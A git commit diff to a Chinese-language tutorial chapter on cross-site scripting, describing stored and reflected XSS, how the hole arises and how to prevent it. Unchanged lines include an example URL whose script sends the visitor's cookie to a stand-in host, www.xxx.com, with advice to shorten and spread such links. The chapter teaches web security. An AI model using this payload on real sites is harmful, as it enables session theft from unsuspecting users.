修改了XSS
This commit is contained in:
11
9.3.md
11
9.3.md
@@ -4,6 +4,8 @@
|
||||
##什么是XSS
|
||||
XSS攻击:跨站脚本攻击(Cross-Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取客户端的cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后,攻击者甚至可以假冒最终用户与网站进行交互。
|
||||
|
||||
XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要是将脚本加入URL地址的程序参数里,参数进入程序后在页面直接输出脚本内容,用户点击类似的恶意链接就可能受到攻击。
|
||||
|
||||
XSS目前主要的手段和目的如下:
|
||||
|
||||
- 盗用cookie,获取敏感信息。
|
||||
@@ -15,18 +17,13 @@ XSS目前主要的手段和目的如下:
|
||||
##XSS的原理
|
||||
XSS漏洞产生的原因是由于Web应用对用户提交请求的数据未做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),然后未加编码地输出到第三方用户的浏览器,这些攻击者恶意提交代码会被受害用户的浏览器解释执行。
|
||||
|
||||
许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的cookie信息。有关攻击方法的详细情况请看如下例子:
|
||||
|
||||
我们现在有一个网站,根据参数输出用户的名称,例如访问url:"http://127.0.0.1/?name=astaxie",就会在浏览器输出如下信息:
|
||||
接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:"http://127.0.0.1/?name=astaxie",就会在浏览器输出如下信息:
|
||||
|
||||
hello astaxie
|
||||
|
||||
那么如果我们传递这样的url:"http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>",这个时候你就会发现你的浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞,那么用户如何来获取Cookie呢?也是类似上面的代码,输入如下的url:"http://127.0.0.1/?name=<script>document.location='http://www.xxx.com/cookie?'%20+document.cookie</script>",这样就可以把当前的cookie发送到指定www.xxx.com站点。这样攻击者就可以把类似这样的url进行短域名服务缩短url,然后把这些url通过途径传播开来,被攻击用户一旦点击了这样的url,相应数据就会被发送到收集cookie的脚本中。这样就获得了cookie信息,然后利用Websleuth之类的工具来检查是否能盗取那个账户。
|
||||
|
||||
上面的这种漏洞叫做反射式漏洞,其实XSS漏洞还有另外两种:本地利用漏洞和存储式漏洞
|
||||
|
||||
- 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
|
||||
- 存储式漏洞,这是目前应用最为广泛而且有可能影响到Web服务器自身安全的漏洞。
|
||||
更加详细的关于XSS的分析大家可以参考这篇文章:http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html 新浪微博XSS事件分析
|
||||
|
||||
##如何预防XSS
|
||||
其实这个问题很简单,坚决不要相信任何用户输入并过滤所有特殊字符。这样就能消灭绝大部分的XSS攻击。
|
||||
|
||||
Reference in New Issue
Block a user